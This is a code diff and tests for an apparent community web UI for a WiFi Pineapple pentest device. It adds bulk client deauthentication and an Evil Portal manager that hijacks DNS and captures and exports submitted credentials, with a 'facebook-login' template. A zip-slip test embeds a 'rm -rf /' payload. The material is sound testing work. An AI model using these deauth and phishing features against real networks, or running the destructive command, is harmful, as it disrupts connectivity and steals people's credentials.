const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' devices');
}), 'Sending…');
}, 'danger');
function lookup(q) { function lookup(q) {
if (!q || q === lastLookup) return Promise.resolve(); if (!q || q === lastLookup) return Promise.resolve();
lastLookup = q; lastLookup = q;
@@ -1397,6 +1455,7 @@ function deauthPanel(ssidRef) {
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' })); if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
clTable.innerHTML = ''; clTable.innerHTML = '';
const cl = (d.clients || []).slice(0, 30); const cl = (d.clients || []).slice(0, 30);
lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean);
if (!cl.length) { if (!cl.length) {
clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' })); clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
return; return;
@@ -1431,8 +1490,10 @@ function deauthPanel(ssidRef) {
})()))); })())));
body.appendChild(apSel); body.appendChild(apSel);
body.appendChild(clTable); body.appendChild(clTable);
body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' },
text: 'Only deauth targets you are authorized to test.' })); h('div', {}, deauthAllBtn),
h('div', { class: 'muted', style: 'font-size:12px;align-self:center',
text: 'Only deauth targets you are authorized to test.' })));
if (ssidRef) { if (ssidRef) {
ssidRef.tick = () => { ssidRef.tick = () => {
const liveSsid = ssidRef.current && ssidRef.current.trim(); const liveSsid = ssidRef.current && ssidRef.current.trim();
@@ -2113,6 +2174,26 @@ views.recon = (root) => {
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…'); .then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
}); });
actions.appendChild(exC); actions.appendChild(exC);
const focusClients = (ap.clients || []).filter((client) => client && client.mac);
if (focusClients.length && ap.bssid) {
const deauthAll = h('button', { class: 'btn danger recon-focus-action-button',
text: 'Deauth All Clients (' + focusClients.length + ')' });
deauthAll.addEventListener('click', () => {
const ssidLabel = ap.ssid || 'hidden network';
if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' +
ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: focusClients.map((c) => ({
bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' clients');
}), 'Sending…');
});
actions.appendChild(deauthAll);
}
const details = h('div', { class: 'recon-focus-body' }); const details = h('div', { class: 'recon-focus-body' });
focusSidebar.appendChild(details); focusSidebar.appendChild(details);
@@ -4045,3 +4126,175 @@ views.settings_help = (root) => {
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' })); license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
return { destroy: () => {} }; return { destroy: () => {} };
}; };
// ---------------------------------------------------------------------------
// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager.
// ---------------------------------------------------------------------------
views.pineap_evilportal = (root) => {
const box = pineapShell(root, '#/pineap/evilportal');
const portalRoot = h('div', { style: 'display:flex;flex-direction:column;gap:16px' });
box.appendChild(portalRoot);
function portalCard(title) {
const card = h('div', { class: 'pineap-title-card' });
card.appendChild(h('div', { class: 'pineap-card-title' }, title));
portalRoot.appendChild(card);
return card;
}
// ---- Active portal status ----
const statusCard = portalCard('Active Portal');
const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' });
statusCard.appendChild(statusBody);
let activeName = null;
// ---- Templates ----
const tplCard = portalCard('Portal Templates');
const tplBody = h('div', { style: 'font-size:13px' });
tplCard.appendChild(tplBody);
// ---- Import ----
const importCard = portalCard('Import Portal');
const importBody = h('div', { style: 'font-size:13px' });
importCard.appendChild(importBody);
const nameIn = h('input', { placeholder: 'Portal name (optional override)' });
const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' });
importBody.appendChild(h('div', { class: 'row' }, nameIn,
h('div', {}, fileIn)));
importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' }));
function refresh() {
return PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
activeName = d.active || null;
renderStatus();
renderTemplates(d.portals || []);
}).catch(() => App.toast('Failed to load portals', 'error'));
}
function renderStatus() {
statusBody.innerHTML = '';
const on = !!activeName;
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Status' }),
badge(on)));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Portal' }),
h('span', { text: on ? activeName : '—' })));
if (on) {
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('span', { class: 'muted', style: 'font-size:12px',
text: 'Serving on http://<device-ip>/ with DNS hijack (all hostnames resolve to the Pager).' })));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('div', {}, btn('Stop Portal', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'))));
}
}
function renderTemplates(portals) {
tplBody.innerHTML = '';
if (!portals.length) {
tplBody.appendChild(h('div', { class: 'empty',
text: 'No portal templates imported. Import a zip below to get started.' }));
return;
}
tplBody.appendChild(table(
[{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' },
{ key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }],
portals.map((p) => ({
name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0),
_actions: (function () {
const wrapRow = h('div', { style: 'display:flex;gap:6px' });
if (p.name === activeName) {
wrapRow.appendChild(btn('Stop', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'));
} else {
wrapRow.appendChild(btn('Activate', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {})
.then(() => App.toast('Portal active — DNS hijack on'))
.then(refresh), 'Activating…');
}, 'danger'));
}
wrapRow.appendChild(btn('Download', () => {
window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank');
}, 'ghost'));
wrapRow.appendChild(btn('Delete', () => {
if (!window.confirm('Delete portal "' + p.name + '"?')) return;
runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name))
.then(refresh), 'Deleting…');
}, 'danger'));
return wrapRow;
})()
}))));
}
fileIn.addEventListener('change', () => {
const f = fileIn.files && fileIn.files[0];
fileIn.value = '';
if (!f) return;
if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; }
const fr = new FileReader();
fr.onload = () => {
const b64 = String(fr.result).split(',')[1] || '';
runAction(null, () => PagerAPI.post('/api/portals/import', {
name: nameIn.value.trim() || undefined, data: b64
}).then((r) => {
App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"');
nameIn.value = '';
return refresh();
}), 'Importing…');
};
fr.readAsDataURL(f);
});
// ---- Captured credentials ----
const capCard = portalCard('Captured Credentials');
const capBody = h('div', { style: 'font-size:13px' });
capCard.appendChild(capBody);
function loadCaptures() {
return PagerAPI.get('/api/portals/captures?limit=200').then((r) => {
const d = r.data || {};
const caps = d.captures || [];
capBody.innerHTML = '';
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: caps.length ? (caps.length + ' capture(s)' +
(d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }),
h('div', {},
btn('Refresh', () => { loadCaptures(); }, 'ghost'),
caps.length ? btn('Clear All', () => {
if (!window.confirm('Delete ALL captured credentials?')) return;
runAction(null, () => PagerAPI.del('/api/portals/captures')
.then(loadCaptures), 'Clearing…');
}, 'danger') : null,
caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => {
e.preventDefault();
downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2));
}, text: 'Export JSON', style: 'text-decoration:none' }) : null)));
if (!caps.length) return;
capBody.appendChild(table(
[{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' },
{ key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }],
caps.map((c) => ({
when: c.time || fmtTime(c.ts),
portal: c.portal || '—',
ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—',
creds: Object.keys(c.fields || {}).map((k) =>
k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)'
}))));
}).catch(() => {});
}
refresh();
loadCaptures();
const iv = setInterval(loadCaptures, 10000);
return { destroy: () => clearInterval(iv) };
};
+130
View File
@@ -604,3 +604,133 @@ class AttacksCaptureTest(unittest.TestCase):
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
class AttacksDeauthBulkTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_bulk_deauth_all_targets(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66',
'channel': 36},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 2)
self.assertEqual(payload['failed'], 0)
calls = [r[0] for r in self.f.runs]
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls)
def test_bulk_deauth_mixed_validity_reports_per_target(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 1)
self.assertEqual(payload['failed'], 1)
self.assertFalse(payload['results'][1]['ok'])
self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC')
def test_bulk_deauth_rejects_empty_and_oversized(self):
status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deauth_bulk(ctx({}))
self.assertEqual(status, 400)
big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256),
'channel': 6} for i in range(33)]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big}))
self.assertEqual(status, 400)
class AttacksCaptureStatusBothIfacesTest(unittest.TestCase):
"""The UI polls status without an iface; the handler must report the
monitor that actually has a live capture (regression: wlan1mon captures
flipped back to 'Not capturing' within one 5s poll)."""
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid',
'/tmp/mk8_capture_wlan1mon.pid']
self.real_exists = os.path.exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def tearDown(self):
os.path.exists = self.real_exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def _live_pidfile(self, iface):
with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f:
f.write(str(os.getpid()))
def test_status_without_iface_finds_running_wlan1mon(self):
self._live_pidfile('wlan1mon')
# Own pid always exists in /proc; pretend the wlan1mon netdev exists.
os.path.exists = lambda p: (
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertEqual(payload['iface'], 'wlan1mon')
def test_status_without_iface_defaults_when_none_running(self):
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertFalse(payload['running'])
self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon'))
def test_start_mkdirs_pcap_dir_and_logs_stderr(self):
calls = []
def fake_run(args, timeout=20, input_data=None):
calls.append(list(args))
if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]:
with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f:
f.write(str(os.getpid()))
return (0, '', '')
old_exists = os.path.exists
server.device_run = fake_run
# /proc does not exist on dev hosts; fake liveness for our own pid.
os.path.exists = lambda p: (
p.startswith('/proc/') or
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
try:
status, payload = server.h_attacks_capture(ctx({
'action': 'start', 'iface': 'wlan1mon'}))
finally:
server.device_run = self.f.device_run
os.path.exists = old_exists
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap']
for a in calls),
'capture dir must be created before starting tcpdump')
sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c'])
self.assertNotIn('/dev/null', sh_cmd)
self.assertIn('mk8_capture_wlan1mon.log', sh_cmd)
try:
os.unlink('/tmp/mk8_capture_wlan1mon.pid')
except OSError:
pass
+253
View File
@@ -0,0 +1,253 @@
import base64
import io
import json
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, args=(), query=None):
return type('C', (), {'body': body or {}, 'args': args,
'query': query or {}})()
def make_zip(files, top_dir=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
for name, data in files.items():
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
return buf.getvalue()
INDEX_PHP = (b"<?php\n$destination = 'x';\nrequire_once('helper.php');\n?>\n"
b'<html><form method="post" action="/captiveportal/index.php">'
b'<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="mac" value="<?=getClientMac($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="ip" value="<?=$_SERVER[\'REMOTE_ADDR\'];?>">'
b'<input type="hidden" name="target" value="<?=$destination?>">'
b'<input name="email"></form></html>')
META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode()
class PortalsTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-')
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
server.PORTAL_CAPTURES_FILE)
server.PORTALS_DIR = self.tmp
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
server._portal_set_active(None)
self.hijacks = []
server._portal_dns_hijack = (
lambda enable: self.hijacks.append(enable))
def tearDown(self):
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
server.PORTAL_CAPTURES_FILE = self.old
shutil.rmtree(self.tmp, ignore_errors=True)
# ---- import ----
def test_import_flat_zip(self):
status, payload = server.h_portals_import(ctx({
'name': 'my-portal',
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'my-portal')
root = os.path.join(self.tmp, 'my-portal')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css')))
def test_import_nested_top_dir_flattens_and_uses_ep_name(self):
status, payload = server.h_portals_import(ctx({
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'MyPortal.php': b'<?php ?>',
'facebook-login.ep': META_EP},
top_dir='facebook-login')).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'facebook-login')
root = os.path.join(self.tmp, 'facebook-login')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login')))
def test_import_rejects_missing_index_php(self):
status, payload = server.h_portals_import(ctx({
'name': 'bad', 'data': base64.b64encode(make_zip(
{'only.css': b'body{}'})).decode()}))
self.assertEqual(status, 400)
def test_import_rejects_zip_slip(self):
evil = make_zip({'index.php': INDEX_PHP})
# Hand-build a zip with an unsafe entry.
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('index.php', INDEX_PHP)
zf.writestr('../../evil.sh', b'rm -rf /')
status, _ = server.h_portals_import(ctx({
'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()}))
self.assertEqual(status, 400)
self.assertFalse(os.path.exists('/tmp/evil.sh'))
self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test'))
def test_import_rejects_garbage(self):
status, _ = server.h_portals_import(ctx({
'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()}))
self.assertEqual(status, 400)
status, _ = server.h_portals_import(ctx({}))
self.assertEqual(status, 400)
def test_import_overwrites_same_name(self):
data = base64.b64encode(make_zip({
'index.php': INDEX_PHP})).decode()
s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data}))
data2 = base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode()
s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2}))
self.assertEqual((s1, s2), (200, 200))
self.assertTrue(os.path.isfile(
os.path.join(self.tmp, 'dup', 'extra.txt')))
# ---- list / activate / delete ----
def _import_one(self, name='p1'):
status, payload = server.h_portals_import(ctx({
'name': name, 'data': base64.b64encode(make_zip(
{'index.php': INDEX_PHP})).decode()}))
assert status == 200, payload
return name
def test_list_reports_portals_and_active(self):
self._import_one('alpha')
status, payload = server.h_portals_list(ctx())
self.assertEqual(status, 200)
names = [p['name'] for p in payload['portals']]
self.assertIn('alpha', names)
self.assertIsNone(payload['active'])
def test_activate_starts_dns_hijack_and_persists(self):
name = self._import_one()
status, payload = server.h_portals_activate(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True])
with open(server.PORTAL_ACTIVE_FILE) as f:
self.assertEqual(f.read().strip(), name)
status, payload = server.h_portals_list(ctx())
self.assertEqual(payload['active'], name)
def test_activate_unknown_portal_404(self):
status, _ = server.h_portals_activate(ctx(args=('ghost',)))
self.assertEqual(status, 404)
def test_deactivate_stops_hijack(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, payload = server.h_portals_deactivate(ctx())
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True, False])
_, payload = server.h_portals_list(ctx())
self.assertIsNone(payload['active'])
def test_delete_active_portal_deactivates_first(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, _ = server.h_portals_delete(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertFalse(os.path.exists(os.path.join(self.tmp, name)))
self.assertEqual(self.hijacks, [True, False])
def test_restore_on_boot_reapplies_hijack(self):
name = self._import_one()
with open(server.PORTAL_ACTIVE_FILE, 'w') as f:
f.write(name + '\n')
server._portal_restore_on_boot()
self.assertEqual(self.hijacks, [True])
self.assertEqual(server._portal_active['name'], name)
# ---- php shim ----
def test_php_shim_substitutes_client_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5',
'http://login.example.com/')
finally:
server._dhcp_leases = old_leases
self.assertNotIn('<?php', out)
self.assertNotIn('<%=', out)
self.assertNotIn('<?=', out)
self.assertIn('value="victim-pc"', out)
self.assertIn('value="AA:BB:CC:DD:EE:FF"', out)
self.assertIn('value="10.0.0.5"', out)
self.assertIn('value="http://login.example.com/"', out)
def test_php_shim_escapes_quotes_in_lease_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF',
'vic"tim')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', 'http://x/')
finally:
server._dhcp_leases = old_leases
self.assertIn('value="vic&quot;tim"', out)
# ---- capture ----
def test_capture_writes_logs_and_jsonl(self):
name = self._import_one('credtrap')
server._portal_capture(b'email=a@b.c&password=hunter2&submit=Log+In',
'10.0.0.9', name)
logs_path = os.path.join(self.tmp, 'credtrap', '.logs')
with open(logs_path) as f:
text = f.read()
self.assertIn('email: a@b.c', text)
self.assertIn('password: hunter2', text)
self.assertIn('[', text)
with open(server.PORTAL_CAPTURES_FILE) as f:
entries = [json.loads(line) for line in f if line.strip()]
self.assertEqual(len(entries), 1)
self.assertEqual(entries[0]['fields']['password'], 'hunter2')
self.assertEqual(entries[0]['ip'], '10.0.0.9')
self.assertEqual(entries[0]['portal'], 'credtrap')
def test_captures_endpoint_lists_newest_first_and_clears(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
server._portal_capture(b'a=2', '10.0.0.2', name)
status, payload = server.h_portals_captures(ctx(query={'limit': 200}))
self.assertEqual(status, 200)
self.assertEqual(payload['total'], 2)
self.assertEqual(payload['captures'][0]['fields']['a'], '2')
status, _ = server.h_portals_captures_clear(ctx())
self.assertEqual(status, 200)
_, payload = server.h_portals_captures(ctx(query={}))
self.assertEqual(payload['total'], 0)
def test_logs_download_returns_file(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
status, payload = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, '%s.logs.txt' % name)
self.assertIn(b'a: 1', payload.data)
def test_logs_download_404_when_empty(self):
name = self._import_one()
status, _ = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 404)
if __name__ == '__main__':
unittest.main()
+15 -1
View File
@@ -43,6 +43,20 @@ class StatusTest(unittest.TestCase):
d = server.disk_data() d = server.disk_data()
self.assertEqual(d['avail'], 7364608 * 1024) self.assertEqual(d['avail'], 7364608 * 1024)
def test_mem_parses_meminfo(self):
import tempfile
base = tempfile.mkdtemp()
with open(os.path.join(base, 'meminfo'), 'w') as f:
f.write('MemTotal: 262144 kB\nMemFree: 102400 kB\nMemAvailable: 122880 kB\nBuffers: 20480 kB\n')
d = server.mem_data(os.path.join(base, 'meminfo'))
self.assertEqual(d['size'], 262144 * 1024)
self.assertEqual(d['used'], (262144 - 122880) * 1024)
self.assertEqual(d['avail'], 122880 * 1024)
def test_mem_missing_returns_empty(self):
import tempfile
self.assertEqual(server.mem_data(os.path.join(tempfile.mkdtemp(), 'nope')), {})
def test_wifi_ifaces_extracts_names(self): def test_wifi_ifaces_extracts_names(self):
server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '') server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '')
self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1']) self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1'])
@@ -89,7 +103,7 @@ class StatusTest(unittest.TestCase):
args = () args = ()
status, payload = server.h_status(Ctx()) status, payload = server.h_status(Ctx())
self.assertEqual(status, 200) self.assertEqual(status, 200)
for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'uptime', 'hostname'): for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'mem', 'uptime', 'hostname'):
self.assertIn(k, payload) self.assertIn(k, payload)
def test_status_discovers_wifi_interfaces_once(self): def test_status_discovers_wifi_interfaces_once(self):
+359
View File
@@ -0,0 +1,359 @@
"""Regression tests for validation-suite findings (#1-#5).
#1 portal zip import without zipfile/pathlib/urllib (python3-light)
#2 DNS hijack uses uci add_list/del_list (list option, not string option)
#3 radio1 attack APs are bridged into br-lan (uci ports list + runtime brctl)
#4 5 GHz WPA deploys restart pineapd after setting mgmtiface so handshake
logging engages (reload is not enough)
#5 enterprise deploy links ctrl then restarts pineapd (not reload) so
PineAPE auth-pass events reach recon.db
"""
import base64
import io
import json
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None):
return type('C', (), {'body': body or {}, 'args': (), 'query': {}})()
class FakeUciDevice:
"""In-memory uci + device_run fake with add_list/del_list support."""
def __init__(self):
self.state = {}
self.lists = {}
self.runs = []
self.sock = []
def device_run(self, args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.state[k] = v
elif a[:2] == ['uci', 'add_list']:
k, _, v = a[2].partition('=')
self.lists.setdefault(k, [])
if v not in self.lists[k]:
self.lists[k].append(v)
elif a[:2] == ['uci', 'del_list']:
k, _, v = a[2].partition('=')
lst = self.lists.get(k, [])
if v in lst:
lst.remove(v)
elif a[:2] == ['uci', 'get']:
return (0, self.state.get(a[2], '') + '\n', '')
elif a[:2] == ['uci', 'delete']:
for k in list(self.state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.state[k]
self.lists.pop(a[2], None)
elif a[:2] == ['uci', 'show']:
sec = a[2]
out = ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.'))
return (0, out, '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def daemon_sock_call(self, method, path, body=None, timeout=10):
self.sock.append((method, path, body))
if path == '/api/pineap/hostapd/get_config':
return 200, {'pineape_disabled': False,
'pineape_auth_pass': True}
return 200, {'success': True}
INDEX_PHP = b'<html><form method="post"><input name="email"></form></html>'
def make_zip(files, top_dir=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
for name, data in files.items():
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
return buf.getvalue()
class BlockZipfile:
"""Import hook that simulates python3-light: no zipfile module."""
def find_module(self, fullname, path=None): # noqa: D401 (legacy hook ok)
return self if fullname == 'zipfile' else None
def find_spec(self, fullname, path=None, target=None):
if fullname == 'zipfile':
raise ImportError('No module named \'zipfile\'')
return None
def load_module(self, fullname):
raise ImportError('No module named \'zipfile\'')
class DnsHijackListOpsTest(unittest.TestCase):
"""#2: hijack must use uci list ops so dnsmasq init sees the option."""
def setUp(self):
self.f = FakeUciDevice()
self.old_run = server.device_run
server.device_run = self.f.device_run
def tearDown(self):
server.device_run = self.old_run
def test_enable_uses_add_list_never_set(self):
server._portal_dns_hijack(True)
cmds = [r[0] for r in self.f.runs]
add = [c for c in cmds if c[:2] == ['uci', 'add_list']]
self.assertEqual(len(add), 1)
self.assertTrue(add[0][2].startswith('dhcp.@dnsmasq[0].address=/#/'))
self.assertNotIn(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/172.16.52.1'],
cmds)
def test_enable_is_idempotent_del_before_add(self):
server._portal_dns_hijack(True)
server._portal_dns_hijack(True)
adds = [r for r, _ in self.f.runs
if r[:2] == ['uci', 'add_list']]
dels = [r for r, _ in self.f.runs
if r[:2] == ['uci', 'del_list']]
self.assertEqual(len(adds), 2)
self.assertEqual(len(dels), 2)
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'),
['/#/172.16.52.1'])
def test_disable_removes_entry_and_restarts_dnsmasq(self):
server._portal_dns_hijack(True)
before = len(self.f.runs)
server._portal_dns_hijack(False)
tail = [r for r, _ in self.f.runs[before:]]
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), [])
self.assertIn(['/etc/init.d/dnsmasq', 'restart'], tail)
class ZipImportWithoutZipfileTest(unittest.TestCase):
"""#1: import must work where zipfile/pathlib/urllib are absent."""
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-fix1-')
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
server.PORTAL_CAPTURES_FILE)
server.PORTALS_DIR = self.tmp
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
def tearDown(self):
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
server.PORTAL_CAPTURES_FILE = self.old
shutil.rmtree(self.tmp, ignore_errors=True)
def _import_blocked(self, data_bytes, name=None):
blocker = BlockZipfile()
saved = sys.modules.pop('zipfile', None)
sys.meta_path.insert(0, blocker)
try:
return server._portal_import(data_bytes, name)
finally:
sys.meta_path.remove(blocker)
if saved is not None:
sys.modules['zipfile'] = saved
def test_deflate_zip_extracts_without_zipfile(self):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('index.php', INDEX_PHP * 8)
zf.writestr('assets/style.css', b'body{}' + b'\n' * 400)
raw = buf.getvalue()
